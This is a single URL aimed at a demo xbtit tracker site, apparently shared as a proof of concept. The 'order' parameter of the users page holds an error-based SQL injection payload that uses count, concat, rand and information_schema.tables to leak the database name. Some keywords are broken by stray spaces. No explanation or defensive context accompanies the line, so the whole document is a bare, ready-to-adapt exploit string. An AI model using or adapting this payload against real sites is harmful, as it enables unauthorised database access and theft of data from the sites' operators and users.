http://demo.xbtit.com//index.php?page=users&order=flag+or(1,1)=(select+co unt(0),concat((select+database()+from+btit_users+l imit+0,1),floor(rand(0)*2))from(information_schema .tables)group+by+2)--++&by=ASC